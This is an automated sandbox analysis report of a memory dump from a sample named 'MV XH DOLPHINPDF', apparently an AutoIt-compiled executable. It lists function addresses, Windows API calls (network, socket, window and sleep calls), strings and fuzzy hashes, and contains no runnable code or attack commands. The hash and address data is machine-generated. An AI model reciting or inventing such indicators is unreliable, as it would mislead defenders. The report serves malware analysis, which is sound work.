Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Connection__itow__swprintf__wcsnicmp_wcscpy
String ID: LPT
API String ID: 3222508074-1350329615
Opcode ID: bd914e0ae6c73a19b48de70f562a66fd097ccde82b7d6674b63e327f307dea4f
Instruction ID: 13aaaf1b7c9bb8f9dae632bc8292ed95dadaeb48af067792d008d8ff4e042949
Opcode Fuzzy Hash: bd914e0ae6c73a19b48de70f562a66fd097ccde82b7d6674b63e327f307dea4f
Instruction Fuzzy Hash: 9B615F75A00215AFCB14EF99C886EEEB7F4AF08310F15416AF546BB291DB70AE40CB91

Function 000C8A77 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 000C8B1E
_memmove.LIBCMT ref: 000C8B78

Strings

Oa, xrefs: 000C8BF2, 000CE39A, 000CE3B6

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: _memmove
String ID: Oa
API String ID: 4104443479-2176709037
Opcode ID: 75945f642f4f0b4a84c1df08bf5ae2e553265b4fdc6e4b99664b94265340229c
Instruction ID: 1c5ae587a8704b447c6c3ed69e915ab572b603459a43de70133b54c488818e86
Opcode Fuzzy Hash: 75945f642f4f0b4a84c1df08bf5ae2e553265b4fdc6e4b99664b94265340229c
Instruction Fuzzy Hash: 455150B09006099FDF64CFA8C884AAEBBF1FF44314F24852EE85AD7250EB31AD55DB51

Function 00092AB7 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 00092AC8
GlobalMemoryStatusEx.KERNEL32(?), ref: 00092AE1

Strings

@, xrefs: 00092AD5

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 708a539cf87e38fc75e64d414f654eb1c874bb901772c54ef5a4f172334011c4
Instruction ID: 0380ab494313b25df07e6a0ce2823e2e133fec6b7555b00a235ef62aedd9e484
Opcode Fuzzy Hash: 708a539cf87e38fc75e64d414f654eb1c874bb901772c54ef5a4f172334011c4
Instruction Fuzzy Hash: AC515671418744ABD320BF50D886BABBBE8FF84314F56885DF2DA410A2DB318569CB66

Function 000E99BE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 0008506B: __fread_nolock.LIBCMT ref: 00085089

_wcscmp.LIBCMT ref: 000E9AAE
_wcscmp.LIBCMT ref: 000E9AC1

Strings

FILE, xrefs: 000E99FA

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: _wcscmp$__fread_nolock
String ID: FILE
API String ID: 4029003684-3121273764
Opcode ID: d2facb13c710f61fd1c6352f839fba5be4c270f454628f747af099cb30605f51
Instruction ID: 675118378f6463aec708920a61fa5beefba6f8a159c48d22f32cea0d17d0ba89
Opcode Fuzzy Hash: d2facb13c710f61fd1c6352f839fba5be4c270f454628f747af099cb30605f51
Instruction Fuzzy Hash: 2B41B371A00659BEDF20AAA5DC45FEFBBF9EF45714F000069B940F7182DB75AA048BA1

Function 000F2882 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97networkCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 000F2892
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 000F28C8

Strings

|, xrefs: 000F2899

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: CrackInternet_memset
String ID: |
API String ID: 1413715105-2343686810
Opcode ID: 869e9dc53da176c312c24b4bd097f1a5a40501141d2964d9088b4666ae18eb78
Instruction ID: bf7bf7f8e3f280e2f552c1ff6ef08108f9ca19d3ff1fe2509d4a00c05c85bcc4
Opcode Fuzzy Hash: 869e9dc53da176c312c24b4bd097f1a5a40501141d2964d9088b4666ae18eb78
Instruction Fuzzy Hash: 57312A71804119AFCF11EFA1CC85EEEBFB9FF09300F10402AF915A6166DB319A56DBA1

Function 00106CD2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 00106D86
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00106DC2

Strings

static, xrefs: 00106D22

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: 3517b066a85ce2ca3d551ddbec094f8af5db4de9f6616222302f51eb5da7e4c3
Instruction ID: ca274dcd2ca35fb2d6d60a86866711420b93468212750402bbfb44cdfc95de05
Opcode Fuzzy Hash: 3517b066a85ce2ca3d551ddbec094f8af5db4de9f6616222302f51eb5da7e4c3
Instruction Fuzzy Hash: 98318F71210604AEEB109F64CC81BFB77B9FF48724F108619F9EA97191DBB1AC91DB60

Function 000E2D91 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 000E2E00
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 000E2E3B

Strings

0, xrefs: 000E2DF9

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: 592c9d1ee523f3b4c951bdf501e1f05c29ce4685a5457a94b311563f6ce82792
Instruction ID: 5ad62b966da80ff664bcde4bc495dcabc343dc9f9d277cdc87110c26822f6b01
Opcode Fuzzy Hash: 592c9d1ee523f3b4c951bdf501e1f05c29ce4685a5457a94b311563f6ce82792
Instruction Fuzzy Hash: BF31F531600359AFEB748F4AC845BEEBBFDFF45350F14006AE985B62A1E7709980CB10

Function 00106943 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 001069D0
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 001069DB

Strings

Combobox, xrefs: 0010699D

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 5519413e615d9a3e82e386d71e106af2904ce39573429f63a5179cda26d08b3d
Instruction ID: 2f47063cf02cc09a59ace244a99f0b43eb688d2855b82668c25fa3704dd0a0fd
Opcode Fuzzy Hash: 5519413e615d9a3e82e386d71e106af2904ce39573429f63a5179cda26d08b3d
Instruction Fuzzy Hash: 4C11C471700208AFEF119F14CC81EFB376EEB993A8F114125F998976E0D7B59CA187A0

Function 00106E76 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00081D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00081D73
Part of subcall function 00081D35: GetStockObject.GDI32(00000011), ref: 00081D87
Part of subcall function 00081D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00081D91

GetWindowRect.USER32(00000000,?), ref: 00106EE0
GetSysColor.USER32(00000012), ref: 00106EFA

Strings

static, xrefs: 00106EBD

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: b5febad40d83d1ea4aca71003c88076cf80c35a547a8ac2205645ddba6b473af
Instruction ID: 4fa318debe9fa761e36a620c38c1375ca25a63a4ab74785b30543cad7757f20c
Opcode Fuzzy Hash: b5febad40d83d1ea4aca71003c88076cf80c35a547a8ac2205645ddba6b473af
Instruction Fuzzy Hash: 86216A7261020AAFDB04DFA8CC46AFA7BB8FB09314F004629FD95D3290E774E861DB50

Function 00106B8F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 00106C11
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00106C20

Strings

edit, xrefs: 00106BF5

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: e3aca091b407f4424a6676f08ac1bac8eeab1e82418a7bca75b5fcb95299da9e
Instruction ID: 73db25f6d26939e222819acb5518b40abf67aba2e17acd2a165b03bc4a0364f1
Opcode Fuzzy Hash: e3aca091b407f4424a6676f08ac1bac8eeab1e82418a7bca75b5fcb95299da9e
Instruction Fuzzy Hash: 3D118CB1600208ABEB209E64DC45AFB3769EF15378F604728F9A1D75E0C7B5DCA19B60

Function 000E2E9E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 000E2F11
GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 000E2F30

Strings

0, xrefs: 000E2F07

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: 238be405e9285d7a9388fe52a69176f6c9509f2d490747aa97a2ddb74889d102
Instruction ID: deea1afafecf968417925b0a889ee8c92e09e82ab54fe8f7a10d7736eb9e4869
Opcode Fuzzy Hash: 238be405e9285d7a9388fe52a69176f6c9509f2d490747aa97a2ddb74889d102
Instruction Fuzzy Hash: 5A11B2319012A4AFDB64EB99DC44B9E77FDEB06314F1900B5E864B72B0D7B0AD04C791

Function 000F24CA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 000F2520
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 000F2549

Strings

<local>, xrefs: 000F2511

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 533ce8e4a3bd303542731e26e550351fb007665049113bc2f76ca43b15e4bb31
Instruction ID: b78aa9151d39b2302cfdacc4d2902a65f41fe760d355cbfc98c34c8ef93bcccc
Opcode Fuzzy Hash: 533ce8e4a3bd303542731e26e550351fb007665049113bc2f76ca43b15e4bb31
Instruction Fuzzy Hash: 0F11C6B0541629BADB34CF518C95EBBFFA8FF05B51F10812AF64546840D3B06991E6F1

Function 000F80A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55networkCOMMON

Download Yara Rule

APIs

Part of subcall function 000F830B: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,000F80C8,?,00000000,?,?), ref: 000F8322

inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 000F80CB
htons.WSOCK32(00000000,?,00000000), ref: 000F8108

Strings

255.255.255.255, xrefs: 000F80E3

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ByteCharMultiWidehtonsinet_addr
String ID: 255.255.255.255
API String ID: 2496851823-2422070025
Opcode ID: e67c6c333a5bd3a59d11771bcc480db5d8ece259773e188467b6a8fa44a1e0c4
Instruction ID: 8ae163d80b18d23b6b18f9412e9412aee670c17c90ab0663b3bb86b134cef301
Opcode Fuzzy Hash: e67c6c333a5bd3a59d11771bcc480db5d8ece259773e188467b6a8fa44a1e0c4
Instruction Fuzzy Hash: 7511A535600309ABDB20AF64CC46FFDB768FF04310F10861BFA5197692DB72A815D756

Function 000D92E7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00087F41: _memmove.LIBCMT ref: 00087F82

Part of subcall function 000DB0C4: GetClassNameW.USER32(?,?,000000FF), ref: 000DB0E7

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 000D9355

Strings

ComboBox, xrefs: 000D92F4
ListBox, xrefs: 000D931F

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: e7bde316e2a6ab7f1ec18ed8ea70b8dcea8a94fb449bf110e8b29189882342ba
Instruction ID: 1b01b1aa3a739e936d7008503b9e2dfeea8aa98a3903656747651717fca6b2f5
Opcode Fuzzy Hash: e7bde316e2a6ab7f1ec18ed8ea70b8dcea8a94fb449bf110e8b29189882342ba
Instruction Fuzzy Hash: 9C01B171A05314ABCB18FBA4CC928FE77A9BF06720B14071AF972573D2DB3199088760

Function 000D91DF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00087F41: _memmove.LIBCMT ref: 00087F82

Part of subcall function 000DB0C4: GetClassNameW.USER32(?,?,000000FF), ref: 000DB0E7

SendMessageW.USER32(?,00000180,00000000,?), ref: 000D924D

Strings

ComboBox, xrefs: 000D91EC
ListBox, xrefs: 000D9217

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: e8734964bf46fe364eb134ab4a58e0d7d9ebafe81ab018fe270f26fd0bc01f8a
Instruction ID: 982f491e7b4710ad6b88688a6c8318242e6621bfa781e2fa56005f9a8891b736
Opcode Fuzzy Hash: e8734964bf46fe364eb134ab4a58e0d7d9ebafe81ab018fe270f26fd0bc01f8a
Instruction Fuzzy Hash: 31018875A4120477CB14FBA0C992DFF77A8AF15700F15011A755667282DB519F089671

Function 000D9264 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00087F41: _memmove.LIBCMT ref: 00087F82

Part of subcall function 000DB0C4: GetClassNameW.USER32(?,?,000000FF), ref: 000DB0E7

SendMessageW.USER32(?,00000182,?,00000000), ref: 000D92D0

Strings

ComboBox, xrefs: 000D9271
ListBox, xrefs: 000D929C

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 9dc1332d0b9f513b4234d98906ce44fd8c613212ae9578915d0ca823b11c065d
Instruction ID: 35b305054ea21714c0c398ea34c1006b4a7b7e0f5799b71522a6593c5dc52376
Opcode Fuzzy Hash: 9dc1332d0b9f513b4234d98906ce44fd8c613212ae9578915d0ca823b11c065d
Instruction Fuzzy Hash: 1601D671A41208B7CB14FBA0C982EFF77ACAF11700F240126B95263783DB219F0C96B6

Function 000E51CA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 000E51E8
_wcscmp.LIBCMT ref: 000E51FA

Strings

#32770, xrefs: 000E51F4

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ClassName_wcscmp
String ID: #32770
API String ID: 2292705959-463685578
Opcode ID: 9d5977f48076545db868c4080ea9aeac42b5efd296a624075aff83d8d696e588
Instruction ID: b0a1416b348fd2954bb70c371e18d85e83c241dcaa28c264f527f83a39f5c53b
Opcode Fuzzy Hash: 9d5977f48076545db868c4080ea9aeac42b5efd296a624075aff83d8d696e588
Instruction Fuzzy Hash: 0CE0613390422C1BD3209A95AC09F97F7ECEF41731F00005BFD50D7050D660994587D1

Function 000D81BC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 000D81CA

Part of subcall function 000A3598: _doexit.LIBCMT ref: 000A35A2

Strings

Error allocating memory., xrefs: 000D81C3
AutoIt, xrefs: 000D81BE

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Message_doexit
String ID: AutoIt$Error allocating memory.
API String ID: 1993061046-4017498283
Opcode ID: 12bb10680083923d6f771037448fc40a263bb304e49e172f416d171e321a8697
Instruction ID: 337f4ffffdb265a7b5ff0ebfdfd2f86cac100d543f31da3ddefe8edf37f9e7fd
Opcode Fuzzy Hash: 12bb10680083923d6f771037448fc40a263bb304e49e172f416d171e321a8697
Instruction Fuzzy Hash: A9D05B323C531932D21532F86D0BFCA758C4F05B51F004026BB48555D38ED295D243E9

Function 000BB511 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 000BB564: _memset.LIBCMT ref: 000BB571

Part of subcall function 000A0B84: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,000BB540,?,?,?,0008100A), ref: 000A0B89

IsDebuggerPresent.KERNEL32(?,?,?,0008100A), ref: 000BB544
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,0008100A), ref: 000BB553

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 000BB54E

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString_memset
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3158253471-631824599
